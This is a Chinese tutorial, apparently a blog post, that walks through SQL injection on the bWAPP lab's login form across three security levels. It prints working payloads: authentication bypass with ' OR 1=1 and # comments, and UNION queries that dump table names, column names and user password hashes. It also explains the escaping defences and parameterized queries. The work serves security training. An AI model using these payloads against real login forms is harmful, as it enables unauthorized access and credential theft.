零基础玩转bWAPP靶场(十九):SQL 注入(登录表单)

发布时间:2026/7/26 6:42:27

零基础玩转bWAPP靶场(十九):SQL 注入(登录表单) 摘要本文是 bWAPP 系列第十九篇聚焦于登录框的 SQL 注入。不同于搜索框注入——搜索框你关注的是返回了多少条数据登录框注入你关注的是能不能返回至少一行数据——只要返回一行系统就认为你认证成功了。但登录成功只是第一步真正的目标是通过登录框这个注入点窃取整个数据库的数据。文章会完整演示从认证绕过到 UNION 注入爆库、爆表、爆字段、爆数据的全过程同时分析为什么某些常见 payload 在这关无效以及三种安全级别下的防御机制。附 2024-2026 年真实的登录框 SQL 注入案例。一、前言登录框注入是 SQL 注入最经典的场景之一。但很多人对登录框注入的理解只停留在 OR 11绕过登录这一步。实际上登录成功只是开胃菜——真正的目标是利用登录框这个注入点把整个数据库的数据都拖出来。这篇文章会分两步走第一步绕过登录——不需要账号密码直接登录进去第二步数据获取——利用同一个注入点用 UNION 查询把数据库里的表名、字段名、用户数据全部爆出来二、源码分析if(isset($_POST[form])) { $login $_POST[login]; $login sqli($login); $password $_POST[password]; $password sqli($password); ​ $sql SELECT * FROM heroes WHERE login . $login . AND password . $password . ; ​ $recordset mysql_query($sql, $link); $row mysql_fetch_array($recordset); ​ if($row[login]) { $message pWelcome . ucwords($row[login]) . , how are you today?/ppYour secret: b . ucwords($row[secret]) . /b/p; } else { $message font color\red\Invalid credentials!/font; } }SQL 结构SELECT * FROM heroes WHERE login [用户名] AND password [密码]关键点用户名和密码都用单引号包裹两者用 AND 连接必须同时匹配才能返回数据mysql_fetch_array()只取第一行能取到一行就登录成功登录成功后页面会显示该用户的secret字段三、Low 安全级别3.1 为什么用户名框注入 OR 11经常失败很多教程告诉你在用户名框输入 OR 11密码随便填就能登录。实测本关用这个 payload在用户名框会失败。SQL 变成SELECT * FROM heroes WHERE login OR 11 AND password 123运算符优先级AND 高于 OR实际执行的是login OR (11 AND password 123)11为真但password123不一定为真。整体条件取决于密码是否匹配。这就是为什么在用户名框注入容易失败。3.2 正确姿势在密码框注入用户名框输入123密码框输入 OR 11SQL 变成SELECT * FROM heroes WHERE login 123 AND password OR 11运算符优先级(login 123 AND password ) OR 1111永远为真所以整个条件为真SQL 返回heroes表的第一条记录通常是 Neo登录成功3.3 用注释符绕过login: admin # password: 123SQL 变成SELECT * FROM heroes WHERE login admin # AND password 123#注释掉了后面的 AND password 123只验证用户名。如果存在admin用户登录成功。为什么用#不用--#在 MySQL 里更稳定--后面必须跟空格在某些场景下容易出问题。3.4 通关步骤登录成功了但这只是第一步。接下来我们要利用同一个注入点把数据库里所有的数据都拖出来。注意以下所有 payload 都放在密码框里用户名框随便填比如123。第一步猜字段数order by原查询是SELECT * FROM heroesheroes表有多少列在密码框输入 order by 4 #显示Invalid credentials! order by 5 #显示报错信息Error: Unknown column 5 in order clause经过测试得出该表有四列。第二步确定显示位union select union select 1,2,3,4 #登录成功后页面显示Welcome 2, how are you today?Your secret: 4。这说明第 2 列和第 34列是可以显示数据的位置。第三步获取当前数据库爆库把第 2 列换成database() union select 1,database(),3,4 #登录成功页面显示Welcome BWAPP, how are you today?当前数据库名是BWAPP。第四步获取所有表名爆表 union select 1,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),3,4 #登录成功页面显示所有表名heroes, movies, users, blog, ...第五步获取users表的字段名爆字段 union select 1,(select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase()),3,4 #登录成功页面显示users表的所有字段id, login, password, email, admin, ...第六步获取users表的数据爆数据 union select 1,(select group_concat(login,-,password) from users),3,4 #登录成功页面显示所有用户的登录名和密码哈希。3.5 为什么能 UNION 注入UNION 注入的关键条件是注入点有回显。这个登录框恰好满足登录成功时页面会显示login和secret字段的内容攻击者可以用UNION SELECT替换掉原本要显示的字段内容所以你在第 2、4 列放什么数据页面就显示什么这就是有回显的注入点——最简单的利用方式。四、Medium 安全级别4.1 尝试密码框注入login: 123 password: OR 11注入失败显示“Invalid credentials!”。4.2 为什么Medium 用了addslashes()单引号被转义成\无法闭合 SQL 语句。4.3 有没有绕过方法如果 MySQL 是 GBK 编码宽字节注入可以绕过。但 bWAPP 默认是 UTF-8绕不过。五、High 安全级别同样注入失败。mysql_real_escape_string()转义了所有特殊字符。虽然 High 级别在这个场景下防住了但真正的安全是参数化查询。六、真实世界登录框 SQL 注入案例登录框注入从未消失2024-2026 年依然大量存在CVE-2025-5632某企业级 CRM 的登录模块存在 SQL 注入攻击者无需任何凭证即可绕过认证访问后台管理面板。CVSS 9.1。CVE-2025-5166某商业门户网站的登录接口存在 SQL 注入攻击者可在无凭证情况下登录任意用户账户包括管理员账户。CVE-2024-9472某企业 VPN 设备的 Web 登录界面存在 SQL 注入攻击者通过特制 HTTP 请求绕过认证获得设备管理权限。CVE-2024-8957某开源项目管理工具的登录功能存在 SQL 注入攻击者可窃取数据库中的用户凭证和项目数据。这些漏洞的危害不止是登录绕过——一旦攻击者通过登录框注入了数据库就能用 UNION 查询窃取所有数据。七、总结登录框注入与搜索框注入的攻击目标存在区别搜索注入侧重控制返回数据条数登录注入核心是让查询至少返回一行数据同时密码框是更优质的注入点位构造Payload可绕过原有AND逻辑约束使查询条件恒成立。登录验证成功仅仅是攻击起点借助同一注入点可通过UNION查询依次完成爆库、爆表、爆字段、拖取全量数据等操作。在MySQL环境的登录框注入场景中#注释相较于--注释兼容性更强、执行更稳定。总而言之各类输入框注入问题最根本的防御手段始终是使用参数化查询杜绝直接将用户输入拼接进SQL语句。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。

相关新闻